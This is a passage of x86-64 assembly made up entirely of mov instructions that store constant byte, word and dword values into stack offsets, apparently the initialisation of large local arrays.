mov byte [rsp + 0x685], 0x67
mov dword [rsp + 0xc240], 0x1781
mov eax, 0xd4a
mov word [rsp + 0x31c8], ax
mov dword [rsp + 0xc244], 0x4484
mov dword [rsp + 0xc248], 0x7bea
mov dword [rsp + 0xc24c], 0x6a5b
mov dword [rsp + 0xc250], 0xf096
mov dword [rsp + 0xc254], 0xab89
mov dword [rsp + 0xc258], 0x2b0e
mov dword [rsp + 0xc25c], 0xb12e
mov dword [rsp + 0xc260], 0x2c41
mov dword [rsp + 0xc264], 0x26c4
mov dword [rsp + 0xc268], 0x24d8
mov dword [rsp + 0xc26c], 0x4e28
mov byte [rsp + 0x686], 3
mov eax, 0xc20
mov word [rsp + 0x31cc], ax
mov dword [rsp + 0xc270], 0x372
mov byte [rsp + 0x687], 0xd0
mov eax, 0x16c
mov word [rsp + 0x31d0], ax
mov byte [rsp + 0x688], 0xed
mov dword [rsp + 0xc274], 0x4e6e
mov byte [rsp + 0x689], 0xdd
mov dword [rsp + 0xc278], 0x2489
mov dword [rsp + 0xc27c], 0x5f76
mov byte [rsp + 0x68a], 0x44
mov eax, 0xb30
mov word [rsp + 0x31d4], ax
mov dword [rsp + 0xc280], 0x6168
mov eax, 0x442
mov word [rsp + 0x31d8], ax
mov dword [rsp + 0xc284], 0x46e6
mov byte [rsp + 0x68b], 0xed
mov dword [rsp + 0xc288], 0x65cd
mov eax, 0x2a3
mov word [rsp + 0x31dc], ax
mov eax, 0xf16
mov word [rsp + 0x31e0], ax
mov dword [rsp + 0xc28c], 0x50f5
mov byte [rsp + 0x68c], 0x6e
mov dword [rsp + 0xc290], 0x6551
mov eax, 0x93b
mov word [rsp + 0x31e4], ax
mov eax, 0x523
mov word [rsp + 0x31e8], ax
mov byte [rsp + 0x68d], 0x19
mov dword [rsp + 0xc294], 0x4e88
mov dword [rsp + 0xc298], 0x2c58
mov dword [rsp + 0xc29c], 0x600d
mov dword [rsp + 0xc2a0], 0x3c60
mov dword [rsp + 0xc2a4], 0x701e
mov dword [rsp + 0xc2a8], 0x6da2
mov dword [rsp + 0xc2ac], 0x757a
mov eax, 0x3b2
mov word [rsp + 0x31ec], ax
mov dword [rsp + 0xc2b0], 0x3487
mov eax, 0xfc0
mov word [rsp + 0x31f0], ax
mov dword [rsp + 0xc2b4], 0x71e9
mov eax, 0x30e
mov word [rsp + 0x31f4], ax
mov dword [rsp + 0xc2b8], 0x6637
mov dword [rsp + 0xc2bc], 0xd17
mov eax, 0x7f0
mov word [rsp + 0x31f8], ax
mov byte [rsp + 0x68e], 0x86
mov byte [rsp + 0x68f], 0x80
mov eax, 0xf5c
mov word [rsp + 0x31fc], ax
mov eax, 0xcbf
mov word [rsp + 0x3200], ax
mov dword [rsp + 0xc2c0], 0xfbb0
mov byte [rsp + 0x690], 3
mov eax, 0x6e7
mov word [rsp + 0x3204], ax
mov eax, 0x947
mov word [rsp + 0x3208], ax
mov eax, 0xf99
mov word [rsp + 0x320c], ax
mov dword [rsp + 0xc2c4], 0xb4cc
mov dword [rsp + 0xc2c8], 0x5031
mov dword [rsp + 0xc2cc], 0x5ece
mov dword [rsp + 0xc2d0], 0xcae6
mov dword [rsp + 0xc2d4], 0x8387
mov dword [rsp + 0xc2d8], 0x6165
mov dword [rsp + 0xc2dc], 0xc777
mov dword [rsp + 0xc2e0], 0x77e6
mov dword [rsp + 0xc2e4], 0x4764
mov eax, 0x2f0
mov word [rsp + 0x3210], ax
mov dword [rsp + 0xc2e8], 0x47f4
mov dword [rsp + 0xc2ec], 0x718
mov eax, 0x660
mov word [rsp + 0x3214], ax
mov dword [rsp + 0xc2f0], 0xa4d
mov dword [rsp + 0xc2f4], 0xd86
mov dword [rsp + 0xc2f8], 0xcad5
mov eax, 0x2d7
mov word [rsp + 0x3218], ax
mov dword [rsp + 0xc2fc], 0xc05
mov byte [rsp + 0x691], 0x31
mov dword [rsp + 0xc300], 0x9ae7
mov dword [rsp + 0xc304], 0xea86
mov dword [rsp + 0xc308], 0xe56a
mov eax, 0xd35
mov word [rsp + 0x321c], ax
mov eax, 0x8c1
mov word [rsp + 0x3220], ax
mov eax, 0x35c
mov word [rsp + 0x3224], ax
mov dword [rsp + 0xc30c], 0x3744
mov byte [rsp + 0x692], 0x5f
mov byte [rsp + 0x693], 0x2a
mov dword [rsp + 0xc310], 0xac4a
mov dword [rsp + 0xc314], 0x551d
mov dword [rsp + 0xc318], 0x6485
mov eax, 0x7ac
mov word [rsp + 0x3228], ax
mov dword [rsp + 0xc31c], 0x7562
mov eax, 0xbfc
mov word [rsp + 0x322c], ax
mov eax, 0xdf1
mov word [rsp + 0x3230], ax
mov dword [rsp + 0xc320], 0x204a
mov eax, 0x49a
mov word [rsp + 0x3234], ax
mov eax, 0xeea
mov word [rsp + 0x3238], ax
mov dword [rsp + 0xc324], 0x2e1
mov dword [rsp + 0xc328], 0x7b58
mov eax, 0x4e6
mov word [rsp + 0x323c], ax
mov eax, 0x9c3
mov word [rsp + 0x3240], ax
mov dword [rsp + 0xc32c], 0x7120
mov dword [rsp + 0xc330], 0x5423
mov eax, 0xc97
mov word [rsp + 0x3244], ax
mov byte [rsp + 0x694], 0x99
mov dword [rsp + 0xc334], 0x68f2
mov dword [rsp + 0xc338], 0x5cff
mov dword [rsp + 0xc33c], 0x45f7
mov dword [rsp + 0xc340], 0x7c93
mov dword [rsp + 0xc344], 0x36e0
mov byte [rsp + 0x695], 0x81
mov byte [rsp + 0x696], 0x87
mov byte [rsp + 0x697], 0x2b
mov byte [rsp + 0x698], 0xe1
mov dword [rsp + 0xc348], 0x1e31
mov byte [rsp + 0x699], 0x48
mov byte [rsp + 0x69a], 0x3c
mov eax, 0x4c7
mov word [rsp + 0x3248], ax
mov dword [rsp + 0xc34c], 0x5b09
mov byte [rsp + 0x69b], 0xf
mov dword [rsp + 0xc350], 0x75d
mov dword [rsp + 0xc354], 0x815
mov eax, 0x600
mov word [rsp + 0x324c], ax
mov eax, 0xe80
mov word [rsp + 0x3250], ax
mov dword [rsp + 0xc358], 0x1429
mov dword [rsp + 0xc35c], 0x1148
mov dword [rsp + 0xc360], 0x376b
mov byte [rsp + 0x69c], 0x6f
mov dword [rsp + 0xc364], 0x4539
mov dword [rsp + 0xc368], 0x3b71
mov dword [rsp + 0xc36c], 0x3694
mov dword [rsp + 0xc370], 0x73fe
mov byte [rsp + 0x69d], 0x16
mov eax, 0x6ae
mov word [rsp + 0x3254], ax
mov dword [rsp + 0xc374], 0x3f98
mov dword [rsp + 0xc378], 0x74a
mov eax, 0x38a
mov word [rsp + 0x3258], ax
mov eax, 0x84f
mov word [rsp + 0x325c], ax
mov dword [rsp + 0xc37c], 0x3a18
mov dword [rsp + 0xc380], 0x3edf
mov dword [rsp + 0xc384], 0x5473
mov dword [rsp + 0xc388], 0x9eba
mov dword [rsp + 0xc38c], 0x48b4
mov eax, 0xe6b
mov word [rsp + 0x3260], ax
mov dword [rsp + 0xc390], 0x447
mov byte [rsp + 0x69e], 0x6c
mov dword [rsp + 0xc394], 0x2250
mov dword [rsp + 0xc398], 0x88c9
mov eax, 0xd5d
mov word [rsp + 0x3264], ax
mov dword [rsp + 0xc39c], 0xe58b
mov byte [rsp + 0x69f], 0x31
mov dword [rsp + 0xc3a0], 0x372b
mov dword [rsp + 0xc3a4], 0xb92
mov dword [rsp + 0xc3a8], 0x59ac
mov byte [rsp + 0x6a0], 0xeb
mov dword [rsp + 0xc3ac], 0x609f
mov dword [rsp + 0xc3b0], 0x5575
mov dword [rsp + 0xc3b4], 0x4675
mov byte [rsp + 0x6a1], 7
mov eax, 0x5e4
mov word [rsp + 0x3268], ax
mov eax, 0x266
mov word [rsp + 0x326c], ax
mov eax, 0x497
mov word [rsp + 0x3270], ax
mov dword [rsp + 0xc3b8], 0xe49
mov dword [rsp + 0xc3bc], 0x7a4e
mov eax, 0xf5e
mov word [rsp + 0x3274], ax
mov eax, 0x528
mov word [rsp + 0x3278], ax
mov dword [rsp + 0xc3c0], 0x2d69
mov dword [rsp + 0xc3c4], 0x3489
mov dword [rsp + 0xc3c8], 0xa59
mov byte [rsp + 0x6a2], 0xe2
mov eax, 0xbaf
mov word [rsp + 0x327c], ax
mov dword [rsp + 0xc3cc], 0x120b
mov eax, 0xe78
mov word [rsp + 0x3280], ax
mov byte [rsp + 0x6a3], 0xce
mov byte [rsp + 0x6a4], 0xf
mov dword [rsp + 0xc3d0], 0x1615
mov dword [rsp + 0xc3d4], 0x1737
mov dword [rsp + 0xc3d8], 0x960
mov byte [rsp + 0x6a5], 0x10
mov byte [rsp + 0x6a6], 0x8d
mov dword [rsp + 0xc3dc], 0x76f
mov eax, 0xf14
mov word [rsp + 0x3284], ax
mov dword [rsp + 0xc3e0], 0x74c5
mov dword [rsp + 0xc3e4], 0xa01d
mov dword [rsp + 0xc3e8], 0x35ba
mov dword [rsp + 0xc3ec], 0x7c5a
mov byte [rsp + 0x6a7], 0x12
mov eax, 0x5a5
mov word [rsp + 0x3288], ax
mov eax, 0x1ad
mov word [rsp + 0x328c], ax
mov eax, 0x232
mov word [rsp + 0x3290], ax
mov byte [rsp + 0x6a8], 0x4e
mov eax, 0xda4
mov word [rsp + 0x3294], ax
mov eax, 0x548
mov word [rsp + 0x3298], ax
mov dword [rsp + 0xc3f0], 0x5956
mov byte [rsp + 0x6a9], 0xf
mov eax, 0x4c4
mov word [rsp + 0x329c], ax
mov byte [rsp + 0x6aa], 0x31
mov byte [rsp + 0x6ab], 0x5e
mov byte [rsp + 0x6ac], 0x41
mov byte [rsp + 0x6ad], 0x37
mov byte [rsp + 0x6ae], 0x66
mov dword [rsp + 0xc3f4], 0x839
mov byte [rsp + 0x6af], 0x58
mov dword [rsp + 0xc3f8], 0x456f
mov dword [rsp + 0xc3fc], 0xb7ea
mov byte [rsp + 0x6b0], 0xf2
mov dword [rsp + 0xc400], 0xc179
mov dword [rsp + 0xc404], 0x52de
mov byte [rsp + 0x6b1], 0xc6
mov eax, 0xaf2
mov word [rsp + 0x32a0], ax
mov dword [rsp + 0xc408], 0x9cfd
mov dword [rsp + 0xc40c], 0x26d7
mov eax, 0x9e5
mov word [rsp + 0x32a4], ax
mov eax, 0xdbe
mov word [rsp + 0x32a8], ax
mov dword [rsp + 0xc410], 0xdcab
mov byte [rsp + 0x6b2], 0xc4
mov eax, 0x9e
mov word [rsp + 0x32ac], ax
mov dword [rsp + 0xc414], 0xa82f
mov dword [rsp + 0xc418], 0x3df5
mov dword [rsp + 0xc41c], 0xa253
mov byte [rsp + 0x6b3], 0x7a
mov dword [rsp + 0xc420], 0x9c00
mov byte [rsp + 0x6b4], 0xd4
mov dword [rsp + 0xc424], 0x3555
mov byte [rsp + 0x6b5], 0x4f
mov dword [rsp + 0xc428], 0xf0b5
mov byte [rsp + 0x6b6], 0x39
mov dword [rsp + 0xc42c], 0x3d1
mov byte [rsp + 0x6b7], 0x5c
mov dword [rsp + 0xc430], 0x7878
mov dword [rsp + 0xc434], 0x1d4d
mov dword [rsp + 0xc438], 0x1b24
mov eax, 0x221
mov word [rsp + 0x32b0], ax
mov dword [rsp + 0xc43c], 0x34a1
mov dword [rsp + 0xc440], 0x5794
mov dword [rsp + 0xc444], 0x6b43
mov dword [rsp + 0xc448], 0xd68a
mov dword [rsp + 0xc44c], 0x606
mov dword [rsp + 0xc450], 0x1793
mov eax, 0xd3
mov word [rsp + 0x32b4], ax
mov byte [rsp + 0x6b8], 0x25
mov byte [rsp + 0x6b9], 0x72
mov dword [rsp + 0xc454], 0x4d5a
mov byte [rsp + 0x6ba], 0x53
mov eax, 0xaf
mov word [rsp + 0x32b8], ax
mov dword [rsp + 0xc458], 0x1a86
mov eax, 0xa08
mov word [rsp + 0x32bc], ax
mov dword [rsp + 0xc45c], 0x68e1
mov byte [rsp + 0x6bb], 0xe7
mov byte [rsp + 0x6bc], 0x18
mov byte [rsp + 0x6bd], 0x5d
mov dword [rsp + 0xc460], 0xd2f0
mov dword [rsp + 0xc464], 0x1095
mov dword [rsp + 0xc468], 0x554a
mov dword [rsp + 0xc46c], 0x684c
mov dword [rsp + 0xc470], 0x4664
mov byte [rsp + 0x6be], 0x50
mov dword [rsp + 0xc474], 0x40fb
mov dword [rsp + 0xc478], 0x263b
mov dword [rsp + 0xc47c], 0x2694
mov eax, 0xe6
mov word [rsp + 0x32c0], ax
mov eax, 0x729
mov word [rsp + 0x32c4], ax
mov eax, 0x77f
mov word [rsp + 0x32c8], ax
mov byte [rsp + 0x6bf], 0x1c
mov dword [rsp + 0xc480], 0xf131
mov dword [rsp + 0xc484], 0x3386
mov byte [rsp + 0x6c0], 0xbc
mov eax, 0x9a4
mov word [rsp + 0x32cc], ax
mov eax, 0x44d
mov word [rsp + 0x32d0], ax
mov eax, 0x5d9
mov word [rsp + 0x32d4], ax
mov eax, 0x69b
mov word [rsp + 0x32d8], ax
mov dword [rsp + 0xc488], 0x763b
mov dword [rsp + 0xc48c], 0x119a
mov eax, 0x36a
mov word [rsp + 0x32dc], ax
mov dword [rsp + 0xc490], 0x6097
mov dword [rsp + 0xc494], 0x3a5f
mov dword [rsp + 0xc498], 0xe11f
mov dword [rsp + 0xc49c], 0x53de
mov dword [rsp + 0xc4a0], 0x66ef
mov byte [rsp + 0x6c1], 0x47
mov eax, 0xf64
mov word [rsp + 0x32e0], ax
mov eax, 0x433
mov word [rsp + 0x32e4], ax
mov dword [rsp + 0xc4a4], 0x3e41
mov byte [rsp + 0x6c2], 0xb0
mov dword [rsp + 0xc4a8], 0x3d2a
mov dword [rsp + 0xc4ac], 0x3d14
mov dword [rsp + 0xc4b0], 0x6bd
mov dword [rsp + 0xc4b4], 0x3987
mov dword [rsp + 0xc4b8], 0x4b18
mov dword [rsp + 0xc4bc], 0xa3f
mov eax, 0xc9c
mov word [rsp + 0x32e8], ax
mov dword [rsp + 0xc4c0], 0x61fb
mov dword [rsp + 0xc4c4], 0x51c4
mov dword [rsp + 0xc4c8], 0x1482
mov dword [rsp + 0xc4cc], 0xd5d2
mov dword [rsp + 0xc4d0], 0x2565
mov dword [rsp + 0xc4d4], 0x5b4b
mov byte [rsp + 0x6c3], 6
mov dword [rsp + 0xc4d8], 0xcd10
mov eax, 0x39d
mov word [rsp + 0x32ec], ax
mov dword [rsp + 0xc4dc], 0x2c3f
mov eax, 0x787
mov word [rsp + 0x32f0], ax
mov byte [rsp + 0x6c4], 0x7c
mov dword [rsp + 0xc4e0], 0x3657
mov eax, 0xe90
mov word [rsp + 0x32f4], ax
mov dword [rsp + 0xc4e4], 0xb82f
mov eax, 0x1d5
mov word [rsp + 0x32f8], ax
mov byte [rsp + 0x6c5], 0x2a
mov byte [rsp + 0x6c6], 0x78
mov eax, 0x490
mov word [rsp + 0x32fc], ax
mov byte [rsp + 0x6c7], 0x28
mov eax, 0xdf2
mov word [rsp + 0x3300], ax
mov dword [rsp + 0xc4e8], 0x4191
mov dword [rsp + 0xc4ec], 0x26e8
mov byte [rsp + 0x6c8], 0xa7
mov eax, 0x9b
mov word [rsp + 0x3304], ax
mov dword [rsp + 0xc4f0], 0x66d3
mov byte [rsp + 0x6c9], 0x3e
mov dword [rsp + 0xc4f4], 0x3c0c
mov dword [rsp + 0xc4f8], 0x7273
mov byte [rsp + 0x6ca], 0x12
mov byte [rsp + 0x6cb], 0x2b
mov dword [rsp + 0xc4fc], 0x49cb
mov dword [rsp + 0xc500], 0x2e9b
mov dword [rsp + 0xc504], 0x7b92
mov dword [rsp + 0xc508], 0xd33
mov dword [rsp + 0xc50c], 0x14e7
mov byte [rsp + 0x6cc], 0x27
mov dword [rsp + 0xc510], 0x6de3
mov dword [rsp + 0xc514], 0x2865
mov byte [rsp + 0x6cd], 0xcc
mov dword [rsp + 0xc518], 0x3965
mov dword [rsp + 0xc51c], 0xaf98
mov dword [rsp + 0xc520], 0xfd90
mov dword [rsp + 0xc524], 0xa10f
mov dword [rsp + 0xc528], 0x7131
mov dword [rsp + 0xc52c], 0xf7a8
mov dword [rsp + 0xc530], 0x2f55
mov byte [rsp + 0x6ce], 0x8c
mov byte [rsp + 0x6cf], 0x1c
mov dword [rsp + 0xc534], 0x3298
mov dword [rsp + 0xc538], 0x5880
mov dword [rsp + 0xc53c], 0xbad9
mov byte [rsp + 0x6d0], 0x68
mov dword [rsp + 0xc540], 0x3f54
mov dword [rsp + 0xc544], 0x7f64
mov dword [rsp + 0xc548], 0x237
mov dword [rsp + 0xc54c], 0x474
mov dword [rsp + 0xc550], 0xe42
mov dword [rsp + 0xc554], 0x4fc7
mov dword [rsp + 0xc558], 0x211a
mov dword [rsp + 0xc55c], 0x4fb2
mov byte [rsp + 0x6d1], 9
mov byte [rsp + 0x6d2], 0x5d
mov byte [rsp + 0x6d3], 0x75
mov dword [rsp + 0xc560], 0x8780
mov dword [rsp + 0xc564], 0xbae5
mov dword [rsp + 0xc568], 0x7e02
mov byte [rsp + 0x6d4], 0x60
mov dword [rsp + 0xc56c], 0x322b
mov dword [rsp + 0xc570], 0xa005
mov eax, 0x9e5
mov word [rsp + 0x3308], ax
mov dword [rsp + 0xc574], 0x2686
mov byte [rsp + 0x6d5], 0x9e
mov byte [rsp + 0x6d6], 0x64
mov eax, 0xea6
mov word [rsp + 0x330c], ax
mov eax, 0x52c
mov word [rsp + 0x3310], ax
mov eax, 0x8e7
mov word [rsp + 0x3314], ax
mov dword [rsp + 0xc578], 0x5009
mov eax, 0x11e
mov word [rsp + 0x3318], ax
mov byte [rsp + 0x6d7], 0x6f
mov dword [rsp + 0xc57c], 0x5383
mov dword [rsp + 0xc580], 0x6267
mov dword [rsp + 0xc584], 0x360b
mov dword [rsp + 0xc588], 0x6cf2
mov dword [rsp + 0xc58c], 0xf15
mov dword [rsp + 0xc590], 0x66ff
mov dword [rsp + 0xc594], 0xa72
mov dword [rsp + 0xc598], 0x2ebe
mov dword [rsp + 0xc59c], 0x57b9
mov byte [rsp + 0x6d8], 0xb7
mov byte [rsp + 0x6d9], 0x70
mov dword [rsp + 0xc5a0], 0x5734
mov dword [rsp + 0xc5a4], 0x3861
mov dword [rsp + 0xc5a8], 0x529e
mov eax, 0x5d8
mov word [rsp + 0x331c], ax
mov eax, 0xdc5
mov word [rsp + 0x3320], ax
mov dword [rsp + 0xc5ac], 0x6788
mov eax, 0xfa3
mov word [rsp + 0x3324], ax
mov dword [rsp + 0xc5b0], 0x2b3c
mov eax, 0x7b1
mov word [rsp + 0x3328], ax
mov dword [rsp + 0xc5b4], 0x39f4
mov eax, 0xb23
mov word [rsp + 0x332c], ax
mov dword [rsp + 0xc5b8], 0x24a3
mov dword [rsp + 0xc5bc], 0x7916
mov eax, 0x738
mov word [rsp + 0x3330], ax
mov dword [rsp + 0xc5c0], 0x9fdd
mov eax, 0x40a
mov word [rsp + 0x3334], ax
mov dword [rsp + 0xc5c4], 0xbc19
mov dword [rsp + 0xc5c8], 0x4a2f
mov eax, 0xffb
mov word [rsp + 0x3338], ax
mov dword [rsp + 0xc5cc], 0x9088
mov byte [rsp + 0x6da], 0x39
mov dword [rsp + 0xc5d0], 0x6317
mov dword [rsp + 0xc5d4], 0x831a
mov dword [rsp + 0xc5d8], 0x3d41
mov dword [rsp + 0xc5dc], 0x1022
mov dword [rsp + 0xc5e0], 0x1684
mov byte [rsp + 0x6db], 0xda
mov dword [rsp + 0xc5e4], 0x28e8
mov byte [rsp + 0x6dc], 0x98
mov dword [rsp + 0xc5e8], 0x2afe
mov byte [rsp + 0x6dd], 0xe7
mov dword [rsp + 0xc5ec], 0x5896
mov dword [rsp + 0xc5f0], 0x3d6d
mov dword [rsp + 0xc5f4], 0x87f7
mov dword [rsp + 0xc5f8], 0x5ab4
mov dword [rsp + 0xc5fc], 0xd56a
mov dword [rsp + 0xc600], 0xaa12
mov dword [rsp + 0xc604], 0x481c
mov dword [rsp + 0xc608], 0x1e32
mov dword [rsp + 0xc60c], 0x7362
mov eax, 0x374
mov word [rsp + 0x333c], ax
mov dword [rsp + 0xc610], 0x5ebe
mov dword [rsp + 0xc614], 0xb4ae
mov byte [rsp + 0x6de], 0x9c
mov dword [rsp + 0xc618], 0x31bc
mov byte [rsp + 0x6df], 0x49
mov dword [rsp + 0xc61c], 0x1a9f
mov eax, 0xc2c
mov word [rsp + 0x3340], ax
mov dword [rsp + 0xc620], 0x1fd8
mov dword [rsp + 0xc624], 0x357c
mov byte [rsp + 0x6e0], 3
mov dword [rsp + 0xc628], 0x6933
mov dword [rsp + 0xc62c], 0x45a5
mov dword [rsp + 0xc630], 0x5791
mov dword [rsp + 0xc634], 0x6e62
mov dword [rsp + 0xc638], 0x13c5
mov eax, 0xa4d
mov word [rsp + 0x3344], ax
mov dword [rsp + 0xc63c], 0xf1db
mov dword [rsp + 0xc640], 0xbcb
mov dword [rsp + 0xc644], 0x5c53
mov byte [rsp + 0x6e1], 0x18
mov byte [rsp + 0x6e2], 0xb4
mov dword [rsp + 0xc648], 0x60ff
mov dword [rsp + 0xc64c], 0x6626
mov byte [rsp + 0x6e3], 0x14
mov byte [rsp + 0x6e4], 0x59
mov dword [rsp + 0xc650], 0x37cd
mov dword [rsp + 0xc654], 0xd102
mov dword [rsp + 0xc658], 0x7f80
mov eax, 0x97b
mov word [rsp + 0x3348], ax
mov dword [rsp + 0xc65c], 0xd16f
mov eax, 0x714
mov word [rsp + 0x334c], ax
mov dword [rsp + 0xc660], 0x74cc
mov byte [rsp + 0x6e5], 0xe0
mov eax, 0x8f3
mov word [rsp + 0x3350], ax
mov dword [rsp + 0xc664], 0x642f
mov dword [rsp + 0xc668], 0x6be7
mov dword [rsp + 0xc66c], 0x67e2
mov dword [rsp + 0xc670], 0xa5e1
mov byte [rsp + 0x6e6], 0xa1
mov dword [rsp + 0xc674], 0x1492
mov dword [rsp + 0xc678], 0x7043
mov dword [rsp + 0xc67c], 0x115c
mov eax, 0x308
mov word [rsp + 0x3354], ax
mov dword [rsp + 0xc680], 0x161f
mov dword [rsp + 0xc684], 0xb2b
mov eax, 0x7b7
mov word [rsp + 0x3358], ax
mov dword [rsp + 0xc688], 0x3984
mov dword [rsp + 0xc68c], 0x62de
mov dword [rsp + 0xc690], 0x70e0
mov dword [rsp + 0xc694], 0x7102
mov dword [rsp + 0xc698], 0x75c3
mov dword [rsp + 0xc69c], 0x4a44
mov dword [rsp + 0xc6a0], 0x4a31
mov byte [rsp + 0x6e7], 0x7e
mov dword [rsp + 0xc6a4], 0xa85e
mov dword [rsp + 0xc6a8], 0xaf15
mov byte [rsp + 0x6e8], 6
mov dword [rsp + 0xc6ac], 0xbb79
mov byte [rsp + 0x6e9], 0x6c
mov dword [rsp + 0xc6b0], 0x3fa
mov byte [rsp + 0x6ea], 0x7b
mov eax, 0xafc
mov word [rsp + 0x335c], ax
mov dword [rsp + 0xc6b4], 0x7385
mov dword [rsp + 0xc6b8], 0x2e96
mov eax, 0xe9c
mov word [rsp + 0x3360], ax
mov eax, 0x582
mov word [rsp + 0x3364], ax
mov dword [rsp + 0xc6bc], 0x65f5
mov byte [rsp + 0x6eb], 0x59
mov dword [rsp + 0xc6c0], 0x3eb7
mov eax, 0x3e6
mov word [rsp + 0x3368], ax
mov eax, 0xac5
mov word [rsp + 0x336c], ax
mov dword [rsp + 0xc6c4], 0x332a
mov dword [rsp + 0xc6c8], 0x2a95
mov byte [rsp + 0x6ec], 0x2e
mov dword [rsp + 0xc6cc], 0x7a8c
mov byte [rsp + 0x6ed], 0x6e
mov eax, 0xe24
mov word [rsp + 0x3370], ax
mov dword [rsp + 0xc6d0], 0x2167
mov dword [rsp + 0xc6d4], 0x3798
mov dword [rsp + 0xc6d8], 0x46ce
mov dword [rsp + 0xc6dc], 0x1a5e
mov dword [rsp + 0xc6e0], 0x582
mov byte [rsp + 0x6ee], 0xe3
mov dword [rsp + 0xc6e4], 0x36a5
mov dword [rsp + 0xc6e8], 0x7bad
mov dword [rsp + 0xc6ec], 0x2ace
mov eax, 0x87
mov word [rsp + 0x3374], ax
mov byte [rsp + 0x6ef], 0x71
mov byte [rsp + 0x6f0], 0x40
mov dword [rsp + 0xc6f0], 0x738c
mov dword [rsp + 0xc6f4], 0x319d
mov dword [rsp + 0xc6f8], 0x10e8
mov dword [rsp + 0xc6fc], 0xff90
mov eax, 0xf12
mov word [rsp + 0x3378], ax
mov byte [rsp + 0x6f1], 0x6e
mov dword [rsp + 0xc700], 0x5d99
mov dword [rsp + 0xc704], 0x5e0
mov byte [rsp + 0x6f2], 0x3d
mov byte [rsp + 0x6f3], 0x5f
mov byte [rsp + 0x6f4], 0xe3
mov eax, 0x54
mov word [rsp + 0x337c], ax
mov dword [rsp + 0xc708], 0xacef
mov byte [rsp + 0x6f5], 0x3b
mov dword [rsp + 0xc70c], 0x7016
mov eax, 0x738
mov word [rsp + 0x3380], ax
mov dword [rsp + 0xc710], 0x586c
mov dword [rsp + 0xc714], 0x6212
mov dword [rsp + 0xc718], 0x70c2
mov byte [rsp + 0x6f6], 0x6c
mov byte [rsp + 0x6f7], 0xa1
mov eax, 0xd21
mov word [rsp + 0x3384], ax
mov dword [rsp + 0xc71c], 0x42c
mov byte [rsp + 0x6f8], 0x65
mov dword [rsp + 0xc720], 0x64a0
mov byte [rsp + 0x6f9], 0xc4
mov dword [rsp + 0xc724], 0x502d
mov dword [rsp + 0xc728], 0x2e35
mov dword [rsp + 0xc72c], 0x4c76
mov dword [rsp + 0xc730], 0x1b34
mov byte [rsp + 0x6fa], 0x76
mov eax, 0x198
mov word [rsp + 0x3388], ax
mov dword [rsp + 0xc734], 0x7fc
mov dword [rsp + 0xc738], 0x1da8
mov dword [rsp + 0xc73c], 0x6d8
mov byte [rsp + 0x6fb], 0xdb
mov eax, 0x944
mov word [rsp + 0x338c], ax
mov dword [rsp + 0xc740], 0x4caa
mov dword [rsp + 0xc744], 0x2640
mov dword [rsp + 0xc748], 0x2762
mov byte [rsp + 0x6fc], 0x22
mov dword [rsp + 0xc74c], 0x77b0
mov dword [rsp + 0xc750], 0x1589
mov byte [rsp + 0x6fd], 4
mov dword [rsp + 0xc754], 0x82eb
mov dword [rsp + 0xc758], 0x48cf
mov dword [rsp + 0xc75c], 0x969f
mov dword [rsp + 0xc760], 0x1437
mov eax, 0xb0
mov word [rsp + 0x3390], ax
mov dword [rsp + 0xc764], 0x2252
mov dword [rsp + 0xc768], 0xcb76
mov dword [rsp + 0xc76c], 0xf02c
mov byte [rsp + 0x6fe], 0xe6
mov eax, 0x10a
mov word [rsp + 0x3394], ax
mov eax, 0xe01
mov word [rsp + 0x3398], ax
mov dword [rsp + 0xc770], 0x6f94
mov byte [rsp + 0x6ff], 0x2e
mov dword [rsp + 0xc774], 0x4a9c
mov dword [rsp + 0xc778], 0x6071
mov dword [rsp + 0xc77c], 0x2fa1
mov byte [rsp + 0x700], 0x15
mov dword [rsp + 0xc780], 0xb41a
mov eax, 0x72
mov word [rsp + 0x339c], ax
mov eax, 0x2f1
mov word [rsp + 0x33a0], ax
mov dword [rsp + 0xc784], 0xca95
mov eax, 0xb8a
mov word [rsp + 0x33a4], ax
mov dword [rsp + 0xc788], 0x4e8
mov eax, 0xa4b
mov word [rsp + 0x33a8], ax
mov dword [rsp + 0xc78c], 0xfbb3
mov eax, 0x942
mov word [rsp + 0x33ac], ax
mov dword [rsp + 0xc790], 0xfefb
mov dword [rsp + 0xc794], 0xf1b6
mov eax, 0x720
mov word [rsp + 0x33b0], ax
mov eax, 0x245
mov word [rsp + 0x33b4], ax
mov dword [rsp + 0xc798], 0x6c5e
mov eax, 0x2d3
mov word [rsp + 0x33b8], ax
mov eax, 0x12c
mov word [rsp + 0x33bc], ax
mov dword [rsp + 0xc79c], 0xd462
mov dword [rsp + 0xc7a0], 0xce80
mov dword [rsp + 0xc7a4], 0x37e5
mov eax, 0x48
mov word [rsp + 0x33c0], ax
mov dword [rsp + 0xc7a8], 0x5e56
mov dword [rsp + 0xc7ac], 0x154e
mov dword [rsp + 0xc7b0], 0xe34c
mov dword [rsp + 0xc7b4], 0x7a63
mov dword [rsp + 0xc7b8], 0xa28
mov dword [rsp + 0xc7bc], 0x2e90
mov dword [rsp + 0xc7c0], 0xc94d
mov dword [rsp + 0xc7c4], 0x65d2
mov byte [rsp + 0x701], 0xd9
mov eax, 0x612
mov word [rsp + 0x33c4], ax
mov byte [rsp + 0x702], 0xa8
mov dword [rsp + 0xc7c8], 0x4817
mov eax, 0x374
mov word [rsp + 0x33c8], ax
mov eax, 0x51a
mov word [rsp + 0x33cc], ax
mov eax, 0x98d
mov word [rsp + 0x33d0], ax
mov dword [rsp + 0xc7cc], 0x3e6b
mov dword [rsp + 0xc7d0], 0x748e
mov dword [rsp + 0xc7d4], 0x672d
mov byte [rsp + 0x703], 0x4e
mov byte [rsp + 0x704], 0x3b
mov dword [rsp + 0xc7d8], 0x836a
mov eax, 0x663
mov word [rsp + 0x33d4], ax
mov eax, 0x8ce
mov word [rsp + 0x33d8], ax
mov byte [rsp + 0x705], 0x2e
mov dword [rsp + 0xc7dc], 0x49f6
mov eax, 0x1c4
mov word [rsp + 0x33dc], ax
mov dword [rsp + 0xc7e0], 0x94fc
mov dword [rsp + 0xc7e4], 0x574f
mov dword [rsp + 0xc7e8], 0xa71b
mov dword [rsp + 0xc7ec], 0x6e26
mov dword [rsp + 0xc7f0], 0x37de
mov dword [rsp + 0xc7f4], 0x60bb
mov dword [rsp + 0xc7f8], 0x8cf0
mov dword [rsp + 0xc7fc], 0x1f61
mov dword [rsp + 0xc800], 0x9661
mov dword [rsp + 0xc804], 0x2ddc
mov dword [rsp + 0xc808], 0x4b7
mov byte [rsp + 0x706], 0x16
mov dword [rsp + 0xc80c], 0xa0ab
mov dword [rsp + 0xc810], 0x1a29
mov dword [rsp + 0xc814], 0x501f
